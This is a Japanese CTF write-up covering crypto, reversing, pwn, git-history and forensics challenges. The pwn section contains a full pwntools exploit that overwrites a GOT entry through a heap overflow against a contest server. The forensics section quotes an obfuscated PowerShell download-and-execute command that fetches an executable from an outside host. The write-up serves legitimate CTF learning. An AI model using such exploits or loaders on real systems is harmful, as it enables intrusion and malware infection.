1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

学校対抗 CTF 大会 Writeup

Posted at

はじめに

学校対抗 CTF 大会 に参加しました.
問題が難しいというより,短い時間で問題数が多かったため,どれだけ早く解けるかといった感じがありました.
折角参加したので Upsolve も含めて Writeup を書こうと思います.
(競技終了後に解いた問題については FLAG が確認できていないので間違っている可能性があります.)

Welcome

Security

情報セキュリティの3要素をアルファベット3文字で入れてください。

情報セキュリティの3要素で調べるとわかる.

CIA

gitty

Pythonのプログラムを作って、gitで管理しています!

https://github.com/Mikka-t/chal_gitty

log を見てみる.

└─< git log                                            
commit 90fa05d6ab1ef200ba962cbcdba3605178f19db5 (HEAD -> master, origin/master, origin/HEAD)
Author: Mikka-t <80103843+Mikka-t@users.noreply.github.com>
Date:   Sat Oct 28 13:26:45 2023 +0900

    Update README.md

commit 92b7981f5fb31a81f346e333f8c4d63573500fd9
Author: Mikka-t <14maika18@gmail.com>
Date:   Sat Oct 28 11:49:20 2023 +0900

    url_decode

commit 7ec68e11b7747ba64b903b1a46941befe4d4af46
Author: Mikka-t <14maika18@gmail.com>
Date:   Sat Oct 28 10:45:20 2023 +0900

    caesar_cipher

commit 8a0b52dd2c8da1903df9a2a22845e308304da745
Author: Mikka-t <14maika18@gmail.com>
Date:   Sat Oct 28 10:37:38 2023 +0900

    generate_password: delete seed

commit ca5f86b79c9dfc92178159be656ff77517178b55
Author: Mikka-t <14maika18@gmail.com>
Date:   Sat Oct 28 10:36:24 2023 +0900

    generate_password

commit 6969197911ab4eef6ba8f8e70a258d864b859970
Author: Mikka-t <14maika18@gmail.com>
Date:   Sat Oct 28 10:11:52 2023 +0900

    b64_decode

commit 174f0568dcfb8a39658fdd7e7da21f8495dfc730
Author: Mikka-t <14maika18@gmail.com>
Date:   Sat Oct 28 10:02:24 2023 +0900

    init main.py

commit cecdb5b217958fec8d2cb1764396667192d8b890
Author: Mikka-t <14maika18@gmail.com>
Date:   Sat Oct 28 09:34:20 2023 +0900

    first commit

generate_password: delete seed とあるので,その前まで戻す.

└─< git reset --hard ca5f86b79c9dfc92178159be656ff77517178b55
HEAD is now at ca5f86b generate_password

generate_password.py に FLAG がある.

import random
import string

def generate_password():
    seed = "FLAG{Peek_into_the_past}"
    random.seed(seed)
    
    length = 12

    characters = string.ascii_letters + string.digits + string.punctuation
    password = ''.join(random.choice(characters) for _ in range(length))
    return password

PowerPoint

消したつもりが、不注意で、情報が漏えいすることもあります。気を付けましょう。

unzip してファイルを出してみると ppt/media の下に元の画像がある.
image1.png

Crypto

Message U from AI

AI will fall in Love with you で用いたAIチャットボット AIren からあなたにメッセージを託されたので、お届けします。私に読まれると困るため、暗号化しているようです。

VNYV_EA{U:T^W`9r T:l~]wm0o,L4mWKfvpxohiw8[OCrkgX( G&by/{8Uy&'j#efT0TX,s

32bits の乱数を 624 個得られればメルセンヌツイスタの内部状態を復元することが可能

import random
from operator import xor

def untemper(x):
    x = right_unshift(x, 18)
    x = left_unshift(x, 15, 0xefc60000)
    x = left_unshift(x, 7, 0x9d2c5680)
    x = right_unshift(x, 11)
    return x

def left_unshift(x, shift, mask):
    i = shift
    y = x
    while i < 32:
        y = x ^ ((y << shift) & mask)
        i += shift
    return y

def right_unshift(x, shift):
    i = shift
    y = x
    while i < 32:
        y = x ^ (y >> shift)
        i += shift
    return y

rnd = random.Random()
nums = [262474057, 3529407108, 1981223923, 1077007210, 1044732414, 1141571144, 742495390, 4243353317, 3341815964, 829255148, 3338261827, 1458013294, 2297154053, 3205806378, 469239732, 3583840227, 3762638551, 3928770406, 3536325057, 2739293945, 517249152, 4062490297, 598562960, 2938915114, 4168920695, 1398991692, 3500197803, 2604599229, 2936225221, 2308796361, 3979881815, 1227437928, 10148369, 3638490649, 814341384, 776211087, 1451318766, 806728687, 2150081782, 3872729170, 2118573951, 2874815993, 130791120, 2690464711, 311429732, 2629503874, 2083402877, 2527619751, 464204511, 1843877235, 1860020121, 1775857037, 255988593, 3026202555, 2294060822, 1028821170, 173016405, 513545901, 3373525756, 2773910627, 1219209020, 341681376, 1367408900, 3638135856, 3026549315, 954944916, 3868598550, 318863145, 1451470996, 2640494755, 4285943622, 3843006364, 3170018511, 3288541058, 369678717, 939152478, 1489720210, 3736974837, 4072539331, 1355593162, 914723876, 2317965557, 1902265402, 2868597205, 2231542937, 1643627640, 2134565341, 3536379818, 2440162957, 2693876661, 2464449792, 121932562, 4026172135, 2065803506, 982931181, 4005249289, 2765467919, 97354281, 2752517828, 3687222104, 2232007634, 3022274079, 4038018291, 4099164903, 19673582, 2258277147, 1300803684, 3474384846, 3529093200, 749040356, 3066003280, 2612035120, 1763887177, 3639067237, 1706075714, 3579897445, 1388136834, 3260669468, 2711535440, 1878251460, 824187546, 4053499326, 3961882800, 3461362851, 1769786415, 3607413065, 2989967236, 1116932111, 2154002601, 2665230710, 3993176890, 1892286593, 1403363860, 3793436382, 4241734196, 4021506726, 2053478613, 3983582159, 2630950360, 2857803204, 3523563798, 680918548, 3241146615, 1512923746, 483181479, 2942428752, 983967833, 1052346507, 1862854962, 2141209062, 3445470568, 121643628, 4028453177, 1665739316, 1107596675, 1108024048, 2166899332, 3162119542, 1833119183, 1528373161, 250027854, 1016136051, 4013158106, 1083286452, 2985944332, 4264924898, 2950395230, 3908037598, 1928000496, 2022028162, 1047143555, 2812365160, 3509906417, 3584226085, 818896662, 3590676841, 1149341081, 803514950, 1174748816, 3451971625, 677752484, 898428829, 1123219869, 1672555440, 518756233, 1589915744, 1081277013, 2927810198, 2908136758, 3461608048, 3529714032, 123706341, 762194906, 4065142625, 568886319, 3527811806, 3472083066, 3569181025, 2903164645, 931382525, 2566325356, 631258168, 3081184473, 3083062506, 1467538549, 2121512104, 77046451, 375644948, 2671483848, 3171892306, 3437334133, 1598832241, 632051959, 2881193923, 4039634887, 3154313937, 489797157, 873036188, 2006637682, 1548640136, 2279220986, 2861299217, 2101116690, 481410884, 961080960, 1954531560, 90872859, 4102046337, 2324683448, 1620546534, 3222399160, 1308196146, 2243722994, 1759465907, 4171057123, 1810243257, 1773256759, 977394008, 2491513857, 2357494113, 3686728220, 3558538828, 4006543815, 2006834639, 1447079162, 2764772017, 2276955231, 1908255679, 1472190383, 3322083084, 1189810614, 3966865979, 2726825725, 2950798942, 21499266, 2684919898, 3448522073, 2917547427, 1231527563, 2875591659, 2546321202, 4252258286, 2056922975, 1195398281, 3013444130, 2814717672, 3068881761, 4164792788, 94528397, 2382863503, 3642644057, 4142221767, 3201109964, 2045930880, 978988997, 3879128661, 3009259223, 1138518665, 2909418442, 2019406358, 1943194196, 4048299133, 1197607336, 1600611525, 4278585389, 3791919586, 886112536, 2264603483, 2594598277, 1934704249, 3891372041, 4273148526, 3834151124, 3719016125, 945901886, 711691132, 1727792397, 938902000, 2518635386, 1069239051, 3230719685, 3561663568, 4222065892, 2361345416, 1167112440, 83047109, 1884037612, 3152446082, 3250596366, 531301926, 2583027827, 1242061672, 2531179028, 3369364212, 1847974823, 4193601651, 2819178986, 849474181, 360849535, 926692057, 414831448, 409072689, 1735929787, 3199549460, 2796280152, 1620300953, 2819343148, 342413827, 3363515562, 4065309272, 4074469053, 3916272673, 1108944371, 968889497, 4036370255, 1403210814, 4263495882, 1695254291, 1696616988, 4124606474, 2474007936, 146472868, 377424187, 693537413, 835220686, 3232077737, 631152579, 2749055697, 4210880173, 465782385, 2324089582, 2460037174, 2945585154, 3100424567, 3023337518, 2063639023, 1081272643, 947557850, 1411198009, 1504427543, 2960460053, 1849673613, 3852577304, 3346497377, 1502868422, 3220146594, 1634857155, 77963457, 663689021, 1829284194, 2012059216, 3569630502, 1291466576, 2618651345, 2121316038, 2612069256, 14983473, 3921506108, 3876449743, 3337414507, 2300684461, 2022588313, 3789075991, 387474152, 2204096731, 3388023568, 507121472, 2818912383, 117160994, 2600836046, 504883440, 2781687436, 3018578186, 1090740608, 3401342984, 2759112566, 2860283980, 3867242608, 534744406, 3763814219, 388610126, 3068131014, 2462612170, 1530309341, 2640954917, 3205354770, 1500411176, 380352455, 4226800317, 2050514056, 3747733967, 2290020075, 4146330218, 2093148392, 1948684865, 2697186497, 536836927, 1310228068, 2182154653, 551752781, 249748658, 1271561984, 451593071, 708629318, 3626337025, 3514851787, 2414921516, 2696329225, 1858694245, 1683260472, 2409270370, 1521129395, 4202658206, 2726866654, 2636845469, 2435279605, 1557543246, 3423389138, 3808997731, 1710466279, 4141283641, 225380563, 2889474110, 1347892994, 2675623399, 2977589017, 2134595827, 1391947501, 1996864363, 764397380, 2924093367, 4228132692, 524195929, 3626160477, 3388475595, 2106578299, 25488070, 1841269237, 3377607620, 2709600267, 3005006631, 130273252, 1476809686, 1437551297, 3443147895, 2706064048, 1160585038, 4054837763, 3334223384, 917623273, 2116565730, 4159331146, 4218272560, 2317334419, 2831000271, 2066319721, 2145595900, 3313843689, 112225106, 1472561262, 4182112417, 302644845, 3876974715, 627209848, 839819098, 648434676, 526112166, 674938347, 1485497480, 1528977087, 477353263, 79804737, 4040916795, 3791688572, 3183500362, 700284224, 1280386714, 258003419, 2100516762, 3150919749, 2869383817, 101117877, 2889240007, 2563493939, 1072857374, 1707940940, 1399742586, 3927749828, 1897864955, 2251605254, 909637063, 33645372, 3170196853, 4207851244, 2709127301, 644455306, 2245518136, 3419000655, 1965664649, 116936092, 302262412, 342220871, 3192838406, 211634164, 1317016682, 2029459308, 872699259, 364329167, 4245060829, 1877967538, 3091861745, 1565280412, 2452674282, 3229897434, 1637740898, 4003509633, 445215751, 1270787636, 3716390215, 1720308271, 731371490, 4070943453, 459301655, 4112807102, 3608344258, 960002948, 3521110298, 1812554094, 160913677, 1423716827, 566964785, 2649029725, 3478144726, 2265038090, 1364599181, 588212312, 4011419501, 2755811562, 91269219, 1357003808, 3071110942, 1025419273, 1765013795, 902470875, 319166133, 2804303939, 812711476, 3521068752, 1615884587, 1050945041, 3983939200, 4136352651, 3673261495, 3528828326, 4003142010, 2106199125, 3913510832, 1413834757, 2926686517, 746214995, 3560502690, 905923197, 3496670374, 4083771566, 2976648254, 3814708864, 4218977500, 3128762925, 1945150088, 1782369359, 2791990163, 329575767, 1014749998, 1175867308, 1328053534, 1141417113, 72582610, 1780709154, 3168844552, 553471761, 457537001, 3773561525, 316598621, 2179295658, 3488748758, 1305789701, 958132611, 2637548471, 4181226546, 3961562922, 3861655136, 1381184684, 1586286484, 3308363027, 2784309441, 2252379442, 1820950020, 1172735125, 325067271, 2559115452, 3615793872, 1486447746, 1879922229, 1000141156]

version, state, gauss_next = rnd.getstate()

recovery_state = tuple([untemper(x) for x in nums] + [624])
rnd.setstate((version, recovery_state, gauss_next))

def fizzbuzz(n):
    if n % 3 == 0 and n % 5 == 0:
        return n % 33
    elif n % 3 == 0:
        return n % 31
    elif n % 5 == 0:
        return n % 30
    else:
        return n % 15

def crypt(n):
    chr_crypt = xor(fizzbuzz(rnd.getrandbits(32)), n)
    crypt = chr(chr_crypt)
    
    return crypt

enc = b"VNYV_EA{U:T^W`9r T:l~]wm0o,L4mWKfvpxohiw8[OCrkgX( G&by/{8Uy&'j#efT0TX,s"
print(''.join([crypt(c) for c in enc]))

Many outputs

Oops! A large number of failures have leaked out. But I don't think they'll be decrypted!

複数の $e$ に対してそれぞれ $p, q$ を取得して暗号化している.
よく見ると $e$ がそれなりに小さくて被っていることがわかり,調べると $e = 53$ で暗号化されているものが 52 個あり,Hastad's Broadcast Attack が使える.

from Crypto.Util.number import long_to_bytes

f = open('output.txt', 'r')
lines = f.readlines()
f.close()

count = 0
ns = []
cs = []
E = 53
for i in range(0, len(lines), 4):
    n = int(lines[i].strip().split('=')[-1])
    e = int(lines[i + 1].strip().split('=')[-1])
    c = int(lines[i + 2].strip().split('=')[-1])

    if e == E:
        count += 1
        ns.append(n)
        cs.append(c)
print(count)

me = crt(cs, ns)
m = int(me^(1/E))
print(long_to_bytes(m))

RSA_prime factorization

以下は、元のmessageをRSAで暗号化し、暗号文cipherを得た。暗号化される前の元のmessageを求めよ。

n = 45889007143501088985160568326738327436378406914875209127694523466640592999239
公開鍵e = 65537
暗号文cipher = 30402081261232351761390786445079908650466497808003660821295923739000472710389

Sage で $n$ を素因数分解するだけ

from Crypto.Util.number import *

n = 45889007143501088985160568326738327436378406914875209127694523466640592999239 
e = 65537
cipher = 30402081261232351761390786445079908650466497808003660821295923739000472710389

factors = factor(n)
p = factors[0][0]
q = factors[1][0]
# p = 197323477870661918048768464614549597571
# q = 232557258967326730394598294322087984109

phi = (p-1) * (q-1)
d = inverse(e, phi)

message = long_to_bytes(int(pow(cipher, d, n)))
print(message)

Reversing

Redacted

フラグを出力するプログラムを作りました!

ちゃんとフラグは出力されているはずなのに途中で見切れてしまう...?

Ghidra でデコンパイルする.

undefined8 main(void)
{
    long in_FS_OFFSET;
    ulong i;
    undefined4 local_148 [60];
    byte local_58 [72];
    long local_10;
    
    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    local_148[0] = 0x73;
    local_148[1] = 0x79;
    local_148[2] = 0x74;
    local_148[3] = 0x72;
    local_148[4] = 0x4e;
    local_148[5] = 0x42;
    local_148[6] = 0x5d;
    local_148[7] = 6;
    local_148[8] = 0x5b;
    local_148[9] = 0x6a;
    local_148[10] = 0x4c;
    local_148[11] = 5;
    local_148[12] = 0x40;
    local_148[13] = 0x6a;
    local_148[14] = 3;
    local_148[15] = 0x54;
    local_148[16] = 0x4f;
    local_148[17] = 0x50;
    local_148[18] = 0x6a;
    local_148[19] = 0x5c;
    local_148[20] = 0x5b;
    local_148[21] = 0x41;
    local_148[22] = 5;
    local_148[23] = 0x6a;
    local_148[24] = 1;
    local_148[25] = 0x5d;
    local_148[26] = 0x50;
    local_148[27] = 0x6a;
    local_148[28] = 0x54;
    local_148[29] = 0x57;
    local_148[30] = 0x4c;
    local_148[31] = 6;
    local_148[32] = 6;
    local_148[33] = 0x6a;
    local_148[34] = 1;
    local_148[35] = 0x5d;
    local_148[36] = 0x50;
    local_148[37] = 0x6a;
    local_148[38] = 1;
    local_148[39] = 0x57;
    local_148[40] = 0x4c;
    local_148[41] = 6;
    local_148[42] = 0x46;
    local_148[43] = 0x6a;
    local_148[44] = 0x52;
    local_148[45] = 1;
    local_148[46] = 0x4f;
    local_148[47] = 0x50;
    local_148[48] = 0x46;
    local_148[49] = 0x6a;
    local_148[50] = 4;
    local_148[51] = 0x5b;
    local_148[52] = 0x41;
    local_148[53] = 5;
    local_148[54] = 0x6a;
    local_148[55] = 0x4c;
    local_148[56] = 5;
    local_148[57] = 0x40;
    local_148[58] = 0x48;
    local_148[59] = 0x35;
    for (i = 0; i < 0x3c; i = i + 1) {
        local_58[i] = (byte)local_148[i] ^ 0x35;
    }
    printf("%s",local_58);
    puts(&DAT_00102010);
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return 0;
}

同じように処理する.

enc = [0x73, 0x79, 0x74, 0x72, 0x4e, 0x42, 0x5d, 6, 0x5b, 0x6a, 0x4c, 5, 0x40, 0x6a, 3, 0x54, 0x4f, 0x50, 0x6a, 0x5c, 0x5b, 0x41, 5, 0x6a, 1, 0x5d, 0x50, 0x6a, 0x54, 0x57, 0x4c, 6, 6, 0x6a, 1, 0x5d, 0x50, 0x6a, 1, 0x57, 0x4c, 6, 0x46, 0x6a, 0x52, 1, 0x4f, 0x50, 0x46, 0x6a, 4, 0x5b, 0x41, 5, 0x6a, 0x4c, 5, 0x40, 0x48, 0x35]

flag = []
for e in enc:
    flag.append(chr(0x35 ^ e))

print(''.join(flag))

Randomize

Flagを暗号化するプログラムを作成しました!
誰にも解読できないよね・・・?

デコンパイル

undefined8 main(EVP_PKEY_CTX *param_1,int param_2)
{
    FILE *__stream;
    int i;
    
    init(param_1);
    encrypt(buf,param_2);
    __stream = fopen("out.txt","w");
    for (i = 0; buf[i] != '\0'; i = i + 1) {
        fprintf(__stream,"%d ",(ulong)*(uint *)(cipher + (long)i * 4));
    }
    fclose(__stream);
    puts("Done!");
    return 0;
}

int init(EVP_PKEY_CTX *ctx)
{
    int iVar1;
    
    printf("Enter the seed: ");
    __isoc99_scanf(&DAT_00102015,&state);
    printf("Enter A: ");
    __isoc99_scanf(&DAT_00102015,&A);
    printf("Enter B: ");
    __isoc99_scanf(&DAT_00102015,&B);
    M = 0x80;
    printf("Enter the flag: ");
    iVar1 = __isoc99_scanf(&DAT_0010203d,buf);
    return iVar1;
}

void encrypt(char *__block,int __edflag)
{
    undefined4 uVar1;
    int i;
    
    for (i = 0; __block[i] != '\0'; i = i + 1) {
        uVar1 = nextInt();
        *(undefined4 *)(randoms + (long)i * 4) = uVar1;
        *(uint *)(cipher + (long)i * 4) = (int)__block[i] ^ *(uint *)(randoms + (long)i * 4);
    }
    return;
}

int nextInt(void)
{
    state = (B + state * A) % M;
    return state;
}

デコンパイル結果から線形合同法で値を出していることがわかる.
ただし,$A, B, state$ の値はわからない

解法 1

適当に試せば解ける.
文字列 FLAG が FLAG に入っているかどうか問題に書かれていないためわからないので,とりあえずすべて出力する.
(他の Reversing 問題では FLAG が FLAG{...} の形式になっている.)

enc = [20, 25, 89, 92, 37, 80, 71, 64, 53, 92, 5, 108, 24, 73, 11, 96, 55, 54, 43, 62, 124, 34, 41]

for s in range(0x100):
    for a in range(0x100):
        for b in range(0x100):
            state = s
            cs = []
            for e in enc:
                state = (b + state * a) % 0x80
                c = e ^ state
                cs.append(c)
            if all(0x20 <= c < 0x7f for c in cs):
                print(''.join(list(map(lambda c: chr(c), cs))))

解法 2

先頭の FLAG から $A, B, state$ を復元する.
(元の入力された値と全く同じ値が復元できるかはわからないが,成り立つものが得られる.)

最初の 4 つの値を FLAG と XOR すると 82, 85, 24, 27 となる.
$s_{i+1} = A \cdot s_i + B \mod{0x80}$ なので,$s_{i+2} - s_{i+1} = A (s_{i + 1} - s_i) \mod{0x80}$
よって,$A = (s_{i+2} - s_{i+1}) \cdot (s_{i + 1} - s_i)^{-1} \mod{0x80}$
元の式に $A$ を代入して $B$ も求められる.

enc = [20, 25, 89, 92, 37, 80, 71, 64, 53, 92, 5, 108, 24, 73, 11, 96, 55, 54, 43, 62, 124, 34, 41]

m = 0x80

states = [enc[i] ^ ord('FLAG'[i]) for i in range(3)]
a = ((states[2] - states[1]) * pow(states[1] - states[0], -1, m)) % m
b = (states[1] - a * states[0]) % m
s0 = ((states[0] - b) * pow(a, -1, m)) % m

state = s0
flag = ''
for i in range(len(enc)):
    state = (b + state * a) % m
    flag += chr(enc[i] ^ state)
print(flag)

Romantic simulation game

変なゲームを手に入れた。 女の子を褒めるとflagを教えてくれるゲームらしいけど、どうしても教えてくれない。。

普通に実行しても FLAG にはたどり着けないっぽい.
Ghidra で見ると

printf("|    flag{%s}                                                                             |\n"
    ,"seki-uesuto");

という処理がある.

flag{seki-uesuto} を提出しても Incorrect と言われる.
gdb で rip を書き換えて FLAG が出力される処理に移動してみるも,同じ FLAG しか得られない.

+==================================================================================================+
|                                                                                                  |
|    ふ、ふーん。あんた中々見込みがあるじゃない。これがflagよ。持っていきなさい。                  |
|    flag{seki-uesuto}                                                                             |
|                                                                                                  |
+==================================================================================================+

わからん.flag{seki-uesuto} は偽の FLAG?

name_it

Ghidra, IDA, Radare2... you name it!

※Ghidra等のリバースエンジニアリングツールの使用を前提としています

Ghidra でデコンパイルする.

undefined8 main(int param_1,char **param_2)
{
    char *pcVar1;
    
    if (param_1 < 1) {
        puts("Try other execution methods.");
    }
    else {
        pcVar1 = strstr(*param_2,"nailed_it");
        if (pcVar1 == (char *)0x0) {
            puts("Oops...");
        }
        else {
            puts("Congrats!");
            pcVar1 = (char *)constructFlag();
            puts(pcVar1);
        }
    }
    return 0;
}

デバッガで途中の if (pcVar1 == (char *)0x0) の分岐あたりで puts("Congrats!"); のところに処理を飛ばす.

pwndbg> start hoge
pwndbg> b *0x55555555519b
pwndbg> c
pwndbg> p $rip = 0x00005555555551a4
pwndbg> c
Continuing.
rev/name_it/chal_name_it
FLAG{name_1t_t0_tame_1t}
[Inferior 1 (process 25438) exited normally]

Web

Web サイト

ユーザ名は、user2であることがショルダーハッキングで確認できた。

http://44.221.226.77/login/login.php

http://44.221.226.77/ にアクセスすると以下が表示される.

OK!
You can get the flag.
Check this page's URL.
Flag is http://44.221.226.77

これが FLAG っぽい (終了直後に見つけたので確認できなかった.)

Pwn

biography

あなたの自己紹介を教えてください。

nc 18.223.82.1 9090

セキュリティ機構

└─< spwn 
[*] Binary: chall
[!] No libc
[!] No loader

[*] file chall
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec chall
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
[!] There are some dangerous functions:
system
[*] cwe_checker chall (press Ctrl+C to stop)

脆弱性は,以下の部分で 0x20 しか確保していない領域に制限なく入力できるので BOF ができる.

std::cin >> bio->name;

この構造体本体はヒープ領域に確保されて name の後ろには string 型の intro がある

struct Bio {
    char name[0x20];
    std::string intro;
};

std::string の構造は以下のようになっている (参考 : C++のpwn/revで使うSTLコンテナの構造とバグパターン一覧)

+0x00: <データのポインタ>
+0x08: <データのサイズ>
+0x10: <データ領域の容量> あるいは <データ本体+0x00>
+0x18: <未使用> あるいは <データ本体+0x08>

本来なら cin に来るまではすべて NULL になっている.

BOF を使ってポインタと容量を書き換えておくことで任意アドレスの書き換えができる.
データの容量は適当に大きな値にしておく (サイズは NULL のままでも良い)

Partial RELRO で No PIE なので,GOT Overwrite で何らかのアドレスを win 関数にする.
GOT のアドレスを調べる.
(std::cin >> bio->name; の直後の cout を使う)

pwndbg> disass main
    (snip...)
    0x000000000040138f <+207>:   add    rax,0x20
    0x0000000000401393 <+211>:   mov    rsi,rax
    0x0000000000401396 <+214>:   lea    rdi,[rip+0x2e43]        # 0x4041e0 <_ZSt3cin@@GLIBCXX_3.4>
    0x000000000040139d <+221>:   call   0x401150 <_ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE@plt>
    0x00000000004013a2 <+226>:   mov    rax,QWORD PTR [rip+0x2c37]        # 0x403fe0
    0x00000000004013a9 <+233>:   mov    rsi,rax
    0x00000000004013ac <+236>:   lea    rdi,[rip+0x2d0d]        # 0x4040c0 <_ZSt4cout@@GLIBCXX_3.4>
    0x00000000004013b3 <+243>:   call   0x401140 <_ZNSolsEPFRSoS_E@plt>

pwndbg> x/3i 0x401140
0x401140 <_ZNSolsEPFRSoS_E@plt>:     endbr64 
0x401144 <_ZNSolsEPFRSoS_E@plt+4>:   bnd jmp QWORD PTR [rip+0x2efd]        # 0x404048 <_ZNSolsEPFRSoS_E@got.plt>
0x40114b <_ZNSolsEPFRSoS_E@plt+11>:  nop    DWORD PTR [rax+rax*1+0x0]
from pwn import *

binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = '18.223.82.1 9090'.split()

gdb_script = '''
b *0x0000000000401378
b *0x00000000004013a2
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'./{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'./{binary_name}')

addr_got_cout = 0x404048
addr_win = 0x00000000004012ad

payload = b'A' * 8 * 4
payload += p64(addr_got_cout)
payload += p64(0x100)
payload += p64(0x100)

sla('Input your name: ', payload)
sla('Input your introduce: ', p64(addr_win))

interact()

Misc

Leaked AI Key

アプリケーションに使っているAPI Key が流出した模様。でも流出したAPI Keyが見つけられない。流出したAPI Key を教えて。

問題被ってる?

└─< git log
commit 16a1150f88dd5dde51a4036bbf45f3b0ad1f636d (HEAD -> master)
Author: yud-y <westsec-ctf@example.com>
Date:   Tue Nov 28 11:38:58 2023 +0900

    change to use langchain

commit c63a02b538760c021f307b94fa9b2b61e4c29f24
Author: yud-y <westsec-ctf@example.com>
Date:   Tue Nov 28 11:35:44 2023 +0900

    delete environment file and add env example

commit fe5eefc72104028175e576a128fac12c359a31c2
Author: yud-y <westsec-ctf@example.com>
Date:   Tue Nov 28 11:34:34 2023 +0900

    create first version of chat-bot

commit 70874579ac6cd0613e37c3cdb151ca72a4b479f7
Author: yud-y <westsec-ctf@example.com>
Date:   Tue Nov 28 11:31:41 2023 +0900

    first commit

└─< git reset --hard fe5eefc72104028175e576a128fac12c359a31c2
HEAD is now at fe5eefc create first version of chat-bot

└─< echo c2steHh4eHh4eHh3cnNaR09zUmg0R2lUM0JsYmtGSkVudjF1czdKM0M3ZXh4eHh4eHh4 | base64 -d
sk-xxxxxxxxwrsZGOsRh4GiT3BlbkFJEnv1us7J3C7exxxxxxxx

難読化入門

powershellスクリプトに正しいFLAGを入力してください

(注)本問題のflag形式は、WEST{....}、という形式となります。
$input=Read-Host "FLAGを入力してください"
$flag=91,77,95,100,47,39,82,38,57,59,47,49,72,65,108,78,66,87,74,109
$input_char=$input.ToCharArray()
$i=1
foreach($char in $flag){
   If((((([Byte][Char]$input_char[$i-1])+$i*4-32)%96)+32) -ne $char ){
     Write-Host "WRONG"
     exit
   }
   $i=$i+1
}
Write-Host "CORRECT"

if 文で一文字ずつ確認しているので,すべて試してみる.

d = [91, 77, 95, 100, 47, 39, 82, 38, 57, 59, 47, 49, 72, 65, 108, 78, 66, 87, 74, 109]

flag = ''
for j, f in enumerate(d):
    i = j + 1
    for c in range(0x20, 0x7f):
        if ((c + i * 4 - 32) % 96 + 32 == f):
            flag += chr(c)
            print(i, c)
print(flag)

Forensics

実行ログ解析①

あなたは、株式会社WEST-SEC で起こったセキュリティインシデントの調査をしています。調査の結果、社内のある端末Aがマルウェアに感染したことが、インシデントの切っ掛けである可能性が高いと分かりました。また、端末Aの利用者によると、メールで送られてきたファイルを実行してしまったとのことでした。実行してしまったファイルの画像と端末Aのログを参照し、以下の問いに答えてください。

問題①:画像に示すファイルの拡張子を回答してください。 (ドット「.」は回答に含みません。)

Invoice_1016\Invoice_1016\Invoice で検索すると

2023/10/19 15:55:09 JST,\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,"""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" ( '70-6f-77<65Q72-73V68y65I6cM6cV20-2d-45V78}65V63M75Q74M69-6fI6e}50M6fM6c}69V63y79-20}42M79Q70Q61<73V73V20y2dQ77V20M68V69}64V64}65-6eM20V2dM43-6f<6dQ6dV61y6ey64}20-22<77}67M65<74-20M68M74y74<70}3ay2fQ2f}69}6bQ31-2d-34<31I31V2dI33-37-36Q36Q30V2e<76Q73M2eI73I61M6by75-72}61-2eQ6eV65y2eI6a<70y2fI65y6d<70I69I72Q65}2f-6bM6fy62y2fQ48}45V4c<50}4c<45-53-53M5fy53I48<49M50V2e}65Q78I65-20I2dM4fI75V74}46M69Q6c-65V20I43Q3aI5c<55V73-65M72}73<5cy55}73y65}72<30<31-2e}43Q53y54-45<53Q54y5c-41-70M70M44I61y74<61Q5c-4cQ6fV63V61I6cQ5cy54M45y4dM50<5cQ48y45Q4cI50I4c<45Q53<53I5fI53y48Q49V50V2eV65<78-65y3b<20Q53y74}61-72}74Q2d}50I72}6fM63<65I73}73Q20-22V43V3a<5cy55y73y65}72V73<5c<55M73I65-72I30M31}2e}43I53-54Q45Q53Q54}5c-41}70I70}44y61y74}61I5c-4cV6fV63<61V6cy5c-54I45}4dQ50I5c-48Q45<4c}50I4c<45y53y53Q5fy53M48-49I50y2eM65y78Q65-22y22' -SPLit 'Q'-SplIt'V'-SpLiT'<' -SPlIt'I' -SplIT '-'-SplIT'M'-spLIT 'y'-sPLit '}'|FoREaCh-oBJECT { ( [cOnVERT]::toinT16( ($_.TosTriNG()), 16)-aS [chAr]) } )-joIN''| .( $Shellid[1]+$SHelLID[13]+'x')",explorer.exe,68825226404,68915692942,C:\Users\User01.CSTEST\Downloads\Invoice_1016\Invoice_1016\Invoice.lnk

が見つかる

実行ログ解析②

問題②: 問題①のファイルの実行をきっかけに、外部URLからマルウェアがダウンロードされたようです。ダウンロード先のドメインを回答してください。

実行ログ解析① で見つかった PowerShell のコードを解読する

